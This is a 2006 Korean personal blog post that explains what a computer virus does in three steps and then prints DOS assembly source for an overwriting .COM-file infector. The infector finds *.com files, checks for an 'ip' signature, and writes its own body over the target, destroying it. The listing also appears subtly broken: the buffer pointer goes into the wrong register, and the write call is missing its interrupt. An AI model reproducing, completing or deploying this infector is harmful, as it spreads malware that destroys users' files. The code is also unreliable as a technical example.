MY IT

바이러스

메롱씨티 배드맨 2006. 5. 1. 00:52

바이러스의 성질

 

1. 감염시킬 대상을 찾는다.
2. 이미 감염되었다면 종료한다.
3. 필요한 부분을 그곳에 복사한다.


------------------------------------------------

위 성질대로 코드를 작성한다. (DOS 코드)

------------------------------------------------



.MODEL tiny
.CODE
org 100h     
; com 파일은 코드가 100h 번지부터 시작한다.

 

Begin proc near
......jmp short FindFirstFile
 ; 지문을 뛰어 넘음
      db 'ip'                       ; 바이러스 지문

 

FindFirstFile:                    ; 감염시킬 파일을 찾는다.
      mov ah, 4eh
FindFile:
      mov cx, 7                   ; 모든 속성
      mov dx, offset comFile
      int 21h
      jc Exit
OpenFile:                         ; 찾은 파일을 연다
      mov ax, 3d02h             ; 파일 읽고 쓰기로 연다.
      mov dx, 9eh                ; DTA의 파일명 부분 (DTA=80h_filename위치 1eh)
      int 21h
      xchg bx, ax                 ; 파일 핸들을 저장

 

ReadFile:                         ; 감염 여부를 체크하기 위해 파일을 읽음
      mov ah, 3fh                ; 파일을 읽는다.
      mov cx, 4                   ; 처음부터 4바이트
      mov cx, offset Buffer    ; 읽어들일 버퍼 설정
      int 21h
 
CheckFile:
      cmp word ptr[Buffer+2], 6970h      ; 이미 감염되었는지 비교 'ip' = 6970h
      jnz InfectFile                              ; 아니면 감염시킨다.
      mov ah, 3eh                               ; 파일을 닫는다.
      int 21h 
      mov ah, 4fh                                ; 다음 파일을 찾는다.
      jmp FindFile


InfectFile:                                         ; 파일을 감염시킨다.
      mov ax, 4200h                             ; 파일의 처음으로 이동
      xor cx, cx
      cwd
      int 21h

 

      mov ah, 40h                               ; 파일에 쓰기
      mov cx, offset Last-offset Begin   ; 바이러스의 크기
      mov dx, offset Begin                   ; 바이러스의 처음부분 부터

 

CloseFile:                                       ; 파일을 닫는다.
      mov ah, 3eh
      int 21h

 

Exit:                                ; 프로그램 종료
      int 20h                       ; 프로그램 종료

 

Buffer DB ?,?,?,?               ; 파일을 읽어들일 때 쓰일 버퍼
comFile DB '*.com',0        ; 찾을 ASCII 파일명

 

Last label near                 ; 끝을 가리키는 레이블

 

Begin endp
......endp Begin

'MY IT' 카테고리의 다른 글

[STL] LIST  (0) 2006.07.15
프로세서 정보 얻기  (0) 2006.05.23
Shell 정렬  (0) 2006.04.14
패킷 판단  (0) 2006.04.11
calloc으로 2차원 배열 만들기  (0) 2006.04.11